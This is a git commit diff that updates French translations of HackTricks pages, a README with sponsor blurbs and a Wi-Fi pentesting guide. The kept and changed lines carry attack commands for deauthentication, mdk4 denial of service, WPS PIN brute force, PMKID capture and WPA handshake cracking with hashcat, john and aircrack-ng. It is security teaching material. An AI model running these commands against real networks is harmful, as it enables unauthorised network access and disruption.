mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
This commit is contained in:
parent
500718a5c0
commit
4179f8785c
19 changed files with 347 additions and 347 deletions
20
README.md
20
README.md
|
@ -2,10 +2,10 @@
|
|||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Les logos et le design animé de Hacktricks par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks logos & motion design par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Bienvenue dans le wiki où vous trouverez chaque astuce/technique de hacking/quoi que ce soit que j'ai appris des CTF, des applications de la vie réelle, en lisant des recherches et des nouvelles.**
|
||||
**Bienvenue dans le wiki où vous trouverez chaque astuce/technique de hacking que j'ai apprise lors de CTFs, d'applications réelles, de lectures de recherches et d'actualités.**
|
||||
{% endhint %}
|
||||
|
||||
Pour commencer, suivez cette page où vous trouverez le **flux typique** que **vous devriez suivre lors d'un pentesting** d'une ou plusieurs **machines :**
|
||||
|
@ -14,17 +14,17 @@ Pour commencer, suivez cette page où vous trouverez le **flux typique** que **v
|
|||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Sponsors d'entreprise
|
||||
## Sponsors Corporatifs
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) est une grande entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme le pentesting, les équipes rouges et la formation.
|
||||
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme le pentesting, les équipes rouges et la formation.
|
||||
|
||||
Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** soutient également des projets de cybersécurité open source comme HackTricks :)
|
||||
**STM Cyber** soutient également des projets open source en cybersécurité comme HackTricks :)
|
||||
|
||||
***
|
||||
|
||||
|
@ -65,7 +65,7 @@ Accédez dès aujourd'hui :
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -108,7 +108,7 @@ Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sig
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **dans le monde entier** contre les dernières menaces de cybersécurité en fournissant des **services de sécurité offensive** avec une approche **moderne**.
|
||||
[**WebSec**](https://websec.nl) est une entreprise professionnelle de cybersécurité basée à **Amsterdam** qui aide à **protéger** les entreprises **dans le monde entier** contre les dernières menaces de cybersécurité en fournissant des **services de sécurité offensive** avec une approche **moderne**.
|
||||
|
||||
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; Pentesting, **Audits** de Sécurité, Formations de Sensibilisation, Campagnes de Phishing, Revue de Code, Développement d'Exploits, Externalisation d'Experts en Sécurité et bien plus encore.
|
||||
|
||||
|
@ -128,11 +128,11 @@ Consultez-les dans :
|
|||
|
||||
## Statistiques Github
|
||||
|
||||
![Statistiques Github de HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Pentesting Wifi
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,25 +10,25 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le [**serveur Discord HackenProof**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
Rejoignez le [**serveur HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus du Hacking**\
|
||||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
|
||||
## Wifi commandes de base
|
||||
```bash
|
||||
|
@ -71,8 +71,6 @@ docker run \
|
|||
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
||||
v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
|
||||
|
||||
### wifiphisher
|
||||
|
||||
Il peut effectuer des attaques Evil Twin, KARMA et Known Beacons, puis utiliser un modèle de phishing pour réussir à obtenir le vrai mot de passe du réseau ou capturer des identifiants de réseaux sociaux.
|
||||
|
@ -86,15 +84,15 @@ sudo python setup.py install # Install any dependencies
|
|||
Cet outil automatise les attaques **WPS/WEP/WPA-PSK**. Il va automatiquement :
|
||||
|
||||
* Mettre l'interface en mode moniteur
|
||||
* Scanner les réseaux possibles - Et vous permettre de sélectionner la ou les victimes
|
||||
* Scanner les réseaux possibles - Et vous laisser sélectionner la ou les victimes
|
||||
* Si WEP - Lancer des attaques WEP
|
||||
* Si WPA-PSK
|
||||
* Si WPS : attaque Pixie dust et attaque par bruteforce (faites attention, l'attaque par bruteforce peut prendre beaucoup de temps). Notez qu'il n'essaie pas de PIN nulle ou de PINs générés.
|
||||
* Si WPS : attaque Pixie dust et attaque par bruteforce (faites attention, l'attaque par bruteforce peut prendre beaucoup de temps). Notez qu'il n'essaie pas de PIN nulle ou de PINs générés/base de données.
|
||||
* Essayer de capturer le PMKID de l'AP pour le cracker
|
||||
* Essayer de désauthentifier les clients de l'AP pour capturer un handshake
|
||||
* Si PMKID ou Handshake, essayer de bruteforcer en utilisant les 5000 mots de passe les plus courants.
|
||||
|
||||
## Attacks Summary
|
||||
## Attaques Résumé
|
||||
|
||||
* **DoS**
|
||||
* Désauthentification/dissociation -- Déconnecter tout le monde (ou un ESSID/Client spécifique)
|
||||
|
@ -107,7 +105,7 @@ Cet outil automatise les attaques **WPS/WEP/WPA-PSK**. Il va automatiquement :
|
|||
* **WPA-PSK**
|
||||
* **WPS** pin "Brute-Force"
|
||||
* **WPA PMKID** bruteforce
|
||||
* \[DoS +] **WPA handshake** capture + Cracking
|
||||
* \[DoS +] **Capture de handshake WPA** + Cracking
|
||||
* **WPA-MGT**
|
||||
* **Capture de nom d'utilisateur**
|
||||
* **Bruteforce** des identifiants
|
||||
|
@ -117,15 +115,15 @@ Cet outil automatise les attaques **WPS/WEP/WPA-PSK**. Il va automatiquement :
|
|||
* **WPA-MGT** -- Utile pour capturer les identifiants d'entreprise
|
||||
* **KARMA, MANA**, **Loud MANA**, **Beacon connu**
|
||||
* **+ Open** -- Utile pour capturer les identifiants de portail captif et/ou effectuer des attaques LAN
|
||||
* **+ WPA** -- Utile pour capturer les handshakes WPA
|
||||
* **+ WPA** -- Utile pour capturer des handshakes WPA
|
||||
|
||||
## DOS
|
||||
|
||||
### Paquets de désauthentification
|
||||
### Paquets de Désauthentification
|
||||
|
||||
**Description de** [**ici**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
Les attaques de **désauthentification**, une méthode répandue dans le hacking Wi-Fi, impliquent la falsification de trames "de gestion" pour **déconnecter de force les appareils d'un réseau**. Ces paquets non chiffrés trompent les clients en leur faisant croire qu'ils proviennent du réseau légitime, permettant aux attaquants de collecter des handshakes WPA à des fins de cracking ou de perturber de manière persistante les connexions réseau. Cette tactique, alarmante par sa simplicité, est largement utilisée et a des implications significatives pour la sécurité des réseaux.
|
||||
Les attaques de **désauthentification**, une méthode répandue dans le hacking Wi-Fi, impliquent la falsification de trames "de gestion" pour **déconnecter de force des appareils d'un réseau**. Ces paquets non chiffrés trompent les clients en leur faisant croire qu'ils proviennent du réseau légitime, permettant aux attaquants de collecter des handshakes WPA à des fins de cracking ou de perturber de manière persistante les connexions réseau. Cette tactique, alarmante par sa simplicité, est largement utilisée et a des implications significatives pour la sécurité des réseaux.
|
||||
|
||||
**Désauthentification utilisant Aireplay-ng**
|
||||
```
|
||||
|
@ -134,7 +132,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|||
* \-0 signifie désauthentification
|
||||
* 1 est le nombre de désauthentifications à envoyer (vous pouvez en envoyer plusieurs si vous le souhaitez) ; 0 signifie les envoyer en continu
|
||||
* \-a 00:14:6C:7E:40:80 est l'adresse MAC du point d'accès
|
||||
* \-c 00:0F:B5:34:30:30 est l'adresse MAC du client à désauthentifier ; si cela est omis, une désauthentification en broadcast est envoyée (ne fonctionne pas toujours)
|
||||
* \-c 00:0F:B5:34:30:30 est l'adresse MAC du client à désauthentifier ; si cela est omis, une désauthentification en diffusion est envoyée (ne fonctionne pas toujours)
|
||||
* ath0 est le nom de l'interface
|
||||
|
||||
### Paquets de désassociation
|
||||
|
@ -176,11 +174,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
|||
```
|
||||
**MODE D'ATTAQUE p : Probing SSID et Bruteforçage**
|
||||
|
||||
Le probing des Points d'Accès (APs) vérifie si un SSID est correctement révélé et confirme la portée de l'AP. Cette technique, couplée avec le **bruteforçage des SSIDs cachés** avec ou sans liste de mots, aide à identifier et accéder aux réseaux dissimulés.
|
||||
Le probing des points d'accès (AP) vérifie si un SSID est correctement révélé et confirme la portée de l'AP. Cette technique, couplée avec le **bruteforçage des SSID cachés** avec ou sans liste de mots, aide à identifier et accéder aux réseaux dissimulés.
|
||||
|
||||
**MODE D'ATTAQUE m : Exploitation des Contre-mesures Michael**
|
||||
|
||||
L'envoi de paquets aléatoires ou dupliqués à différentes files d'attente QoS peut déclencher les Contre-mesures Michael sur les **APs TKIP**, entraînant un arrêt de l'AP d'une minute. Cette méthode est une tactique efficace d'attaque **DoS** (Denial of Service).
|
||||
L'envoi de paquets aléatoires ou dupliqués à différentes files d'attente QoS peut déclencher les contre-mesures Michael sur les **AP TKIP**, entraînant un arrêt de l'AP d'une minute. Cette méthode est une tactique efficace d'**attaque DoS** (Denial of Service).
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
|
@ -199,14 +197,14 @@ Diverses attaques sur la gestion des liens et le routage dans les réseaux maill
|
|||
|
||||
**MODE D'ATTAQUE w : Confusion WIDS**
|
||||
|
||||
La connexion croisée de clients à plusieurs nœuds WDS ou à des APs malveillants peut manipuler les systèmes de détection et de prévention d'intrusion, créant de la confusion et un potentiel abus du système.
|
||||
La connexion croisée de clients à plusieurs nœuds WDS ou à de faux APs malveillants peut manipuler les systèmes de détection et de prévention d'intrusion, créant de la confusion et un potentiel abus du système.
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**MODE D'ATTAQUE f : Fuzzer de Paquets**
|
||||
**MODE D'ATTAQUE f : Fuzzer de Paquet**
|
||||
|
||||
Un fuzzer de paquets avec diverses sources de paquets et un ensemble complet de modificateurs pour la manipulation de paquets.
|
||||
Un fuzzer de paquet présentant diverses sources de paquets et un ensemble complet de modificateurs pour la manipulation de paquets.
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
|
@ -216,7 +214,7 @@ _**Airgeddon**_ propose la plupart des attaques mentionnées dans les commentair
|
|||
|
||||
## WPS
|
||||
|
||||
WPS (Wi-Fi Protected Setup) simplifie le processus de connexion des appareils à un routeur, améliorant la vitesse et la facilité de configuration pour les réseaux cryptés avec **WPA** ou **WPA2** Personnel. Il est inefficace pour la sécurité WEP facilement compromise. WPS utilise un PIN à 8 chiffres, validé en deux moitiés, ce qui le rend vulnérable aux attaques par force brute en raison de son nombre limité de combinaisons (11 000 possibilités).
|
||||
WPS (Wi-Fi Protected Setup) simplifie le processus de connexion des appareils à un routeur, améliorant la vitesse et la facilité de configuration pour les réseaux cryptés avec **WPA** ou **WPA2** Personnel. Il est inefficace pour la sécurité WEP facilement compromise. WPS utilise un code PIN à 8 chiffres, validé en deux moitiés, ce qui le rend vulnérable aux attaques par force brute en raison de son nombre limité de combinaisons (11 000 possibilités).
|
||||
|
||||
### Bruteforce WPS
|
||||
|
||||
|
@ -237,13 +235,13 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
|||
Cette approche raffinée cible les PIN WPS en utilisant des vulnérabilités connues :
|
||||
|
||||
1. **PINs pré-découverts** : Utilisez une base de données de PINs connus liés à des fabricants spécifiques connus pour utiliser des PINs WPS uniformes. Cette base de données corrèle les trois premiers octets des adresses MAC avec des PINs probables pour ces fabricants.
|
||||
2. **Algorithmes de génération de PIN** : Exploitez des algorithmes comme ComputePIN et EasyBox, qui calculent les PINs WPS en fonction de l'adresse MAC de l'AP. L'algorithme Arcadyan nécessite également un identifiant de dispositif, ajoutant une couche au processus de génération de PIN.
|
||||
2. **Algorithmes de génération de PIN** : Exploitez des algorithmes comme ComputePIN et EasyBox, qui calculent les PINs WPS en fonction de l'adresse MAC de l'AP. L'algorithme Arcadyan nécessite également un ID de dispositif, ajoutant une couche au processus de génération de PIN.
|
||||
|
||||
### WPS Pixie Dust attack
|
||||
|
||||
**Dominique Bongard** a découvert un défaut dans certains Points d'Accès (APs) concernant la création de codes secrets, connus sous le nom de **nonces** (**E-S1** et **E-S2**). Si ces nonces peuvent être découverts, le craquage du PIN WPS de l'AP devient facile. L'AP révèle le PIN dans un code spécial (hash) pour prouver qu'il est légitime et non un AP faux (rogue). Ces nonces sont essentiellement les "clés" pour déverrouiller le "coffre-fort" qui contient le PIN WPS. Plus d'informations à ce sujet peuvent être trouvées [ici](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
**Dominique Bongard** a découvert un défaut dans certains Points d'Accès (AP) concernant la création de codes secrets, connus sous le nom de **nonces** (**E-S1** et **E-S2**). Si ces nonces peuvent être découverts, le craquage du PIN WPS de l'AP devient facile. L'AP révèle le PIN dans un code spécial (hash) pour prouver qu'il est légitime et non un AP faux (rogue). Ces nonces sont essentiellement les "clés" pour déverrouiller le "coffre-fort" qui contient le PIN WPS. Plus d'informations à ce sujet peuvent être trouvées [ici](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
|
||||
En termes simples, le problème est que certains APs n'utilisaient pas des clés suffisamment aléatoires pour chiffrer le PIN pendant le processus de connexion. Cela rend le PIN vulnérable à être deviné depuis l'extérieur du réseau (attaque par force brute hors ligne).
|
||||
En termes simples, le problème est que certains AP n'utilisaient pas des clés suffisamment aléatoires pour chiffrer le PIN pendant le processus de connexion. Cela rend le PIN vulnérable à être deviné depuis l'extérieur du réseau (attaque par force brute hors ligne).
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
|
@ -267,8 +265,8 @@ Tous les attaques WPS proposées peuvent être facilement réalisées en utilisa
|
|||
* 5 et 6 vous permettent d'essayer **votre PIN personnalisé** (si vous en avez un)
|
||||
* 7 et 8 effectuent l'**attaque Pixie Dust**
|
||||
* 13 vous permet de tester le **PIN NULL**
|
||||
* 11 et 12 vont **rassembler les PIN liés à l'AP sélectionné à partir des bases de données disponibles** et **générer** des **PINs** possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)
|
||||
* 9 et 10 testeront **tous les PIN possibles**
|
||||
* 11 et 12 vont **récupérer les PINs liés à l'AP sélectionné à partir des bases de données disponibles** et **générer** des **PINs** possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)
|
||||
* 9 et 10 testeront **tous les PINs possibles**
|
||||
|
||||
## **WEP**
|
||||
|
||||
|
@ -278,7 +276,7 @@ Tellement cassé et inutilisé de nos jours. Sachez simplement que _**airgeddon*
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -289,7 +287,7 @@ Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
|||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
Restez informé des nouvelles récompenses de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
|
@ -299,7 +297,7 @@ Restez informé des nouvelles primes de bugs lancées et des mises à jour cruci
|
|||
|
||||
### PMKID
|
||||
|
||||
En 2018, **hashcat** [a révélé](https://hashcat.net/forum/thread-7717.html) une nouvelle méthode d'attaque, unique car elle nécessite **un seul paquet** et ne nécessite aucun client connecté à l'AP cible—juste une interaction entre l'attaquant et l'AP.
|
||||
En 2018, **hashcat** [a révélé](https://hashcat.net/forum/thread-7717.html) une nouvelle méthode d'attaque, unique car elle nécessite **un seul paquet** et ne nécessite pas que des clients soient connectés à l'AP cible—juste une interaction entre l'attaquant et l'AP.
|
||||
|
||||
De nombreux routeurs modernes ajoutent un **champ optionnel** au **premier cadre EAPOL** lors de l'association, connu sous le nom de `Robust Security Network`. Cela inclut le `PMKID`.
|
||||
|
||||
|
@ -328,9 +326,9 @@ hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
|||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
Veuillez noter que le format d'un hash correct contient **4 parties**, comme : `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Si le vôtre **ne contient que** **3 parties**, alors, il est **invalide** (la capture PMKID n'était pas valide).
|
||||
Veuillez noter que le format d'un hash correct contient **4 parties**, comme : `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Si le vôtre **ne contient que** **3 parties**, alors, il est **invalide** (la capture PMKID n'était pas valide).
|
||||
|
||||
Notez que `hcxdumptool` **capture également des handshakes** (quelque chose comme ceci apparaîtra : **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Vous pourriez **transformer** les **handshakes** au format **hashcat**/**john** en utilisant `cap2hccapx`
|
||||
Notez que `hcxdumptool` **capture également des handshakes** (quelque chose comme ceci apparaîtra : **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Vous pourriez **transformer** les **handshakes** au format **hashcat**/**john** en utilisant `cap2hccapx`.
|
||||
```bash
|
||||
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
||||
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
||||
|
@ -338,24 +336,24 @@ hccap2john pmkid.hccapx > handshake.john
|
|||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_J'ai remarqué que certaines captures de handshakes avec cet outil ne pouvaient pas être craquées même en connaissant le mot de passe correct. Je recommanderais de capturer des handshakes également de manière traditionnelle si possible, ou de capturer plusieurs d'entre eux en utilisant cet outil._
|
||||
_J'ai remarqué que certaines captures de handshakes avec cet outil ne pouvaient pas être crackées même en connaissant le mot de passe correct. Je recommanderais de capturer des handshakes également de manière traditionnelle si possible, ou de capturer plusieurs d'entre eux en utilisant cet outil._
|
||||
|
||||
### Capture de handshake
|
||||
|
||||
Une attaque sur les réseaux **WPA/WPA2** peut être exécutée en capturant un **handshake** et en essayant de **craquer** le mot de passe **hors ligne**. Ce processus implique de surveiller la communication d'un réseau spécifique et le **BSSID** sur un **canal** particulier. Voici un guide simplifié :
|
||||
Une attaque sur les réseaux **WPA/WPA2** peut être exécutée en capturant un **handshake** et en tentant de **cracker** le mot de passe **hors ligne**. Ce processus implique de surveiller la communication d'un réseau spécifique et du **BSSID** sur un **canal** particulier. Voici un guide simplifié :
|
||||
|
||||
1. Identifiez le **BSSID**, le **canal** et un **client connecté** du réseau cible.
|
||||
2. Utilisez `airodump-ng` pour surveiller le trafic réseau sur le canal et le BSSID spécifiés, en espérant capturer un handshake. La commande ressemblera à ceci :
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
3. Pour augmenter les chances de capturer un handshake, déconnectez momentanément le client du réseau pour forcer une ré-authentification. Cela peut être fait en utilisant la commande `aireplay-ng`, qui envoie des paquets de désauthentification au client :
|
||||
3. Pour augmenter la chance de capturer un handshake, déconnectez momentanément le client du réseau pour forcer une ré-authentification. Cela peut être fait en utilisant la commande `aireplay-ng`, qui envoie des paquets de désauthentification au client :
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
_Notez qu'une fois que le client a été désauthentifié, il pourrait essayer de se connecter à un autre AP ou, dans d'autres cas, à un autre réseau._
|
||||
|
||||
Une fois que dans `airodump-ng` apparaissent des informations de handshake, cela signifie que le handshake a été capturé et vous pouvez arrêter d'écouter :
|
||||
Une fois que dans `airodump-ng` apparaît des informations de handshake, cela signifie que le handshake a été capturé et vous pouvez arrêter d'écouter :
|
||||
|
||||
![](<../../.gitbook/assets/image (172) (1).png>)
|
||||
|
||||
|
@ -377,7 +375,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
|
|||
```
|
||||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||||
```
|
||||
_If this tool finds an uncompleted handshake of an ESSID before the completed one, it won't detect the valid one._
|
||||
_Si cet outil trouve une poignée de main incomplète d'un ESSID avant celle qui est complète, il ne détectera pas la valide._
|
||||
|
||||
**pyrit**
|
||||
```bash
|
||||
|
@ -393,7 +391,7 @@ Dans **les configurations WiFi d'entreprise, vous rencontrerez diverses méthode
|
|||
1. **EAP-GTC (Generic Token Card)**:
|
||||
* Cette méthode prend en charge les jetons matériels et les mots de passe à usage unique au sein de EAP-PEAP. Contrairement à MSCHAPv2, elle n'utilise pas de défi entre pairs et envoie les mots de passe en texte clair au point d'accès, posant un risque pour les attaques de rétrogradation.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
* Implique l'envoi du hachage MD5 du mot de passe depuis le client. Il est **non recommandé** en raison de la vulnérabilité aux attaques par dictionnaire, du manque d'authentification du serveur et de l'incapacité à générer des clés WEP spécifiques à la session.
|
||||
* Implique l'envoi du hachage MD5 du mot de passe depuis le client. Il est **non recommandé** en raison de sa vulnérabilité aux attaques par dictionnaire, du manque d'authentification du serveur et de l'incapacité à générer des clés WEP spécifiques à la session.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
* Utilise à la fois des certificats côté client et côté serveur pour l'authentification et peut générer dynamiquement des clés WEP basées sur l'utilisateur et la session pour sécuriser les communications.
|
||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||
|
@ -401,7 +399,7 @@ Dans **les configurations WiFi d'entreprise, vous rencontrerez diverses méthode
|
|||
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
||||
* Fonctionne de manière similaire à EAP en créant un tunnel TLS pour une communication protégée. Elle permet l'utilisation de protocoles d'authentification plus faibles au-dessus de EAP en raison de la protection offerte par le tunnel.
|
||||
* **PEAP-MSCHAPv2**: Souvent appelé PEAP, il combine le mécanisme de défi/réponse vulnérable MSCHAPv2 avec un tunnel TLS protecteur.
|
||||
* **PEAP-EAP-TLS (ou PEAP-TLS)**: Semblable à EAP-TLS mais initie un tunnel TLS avant d'échanger des certificats, offrant une couche de sécurité supplémentaire.
|
||||
* **PEAP-EAP-TLS (ou PEAP-TLS)**: Semblable à EAP-TLS mais initie un tunnel TLS avant l'échange de certificats, offrant une couche de sécurité supplémentaire.
|
||||
|
||||
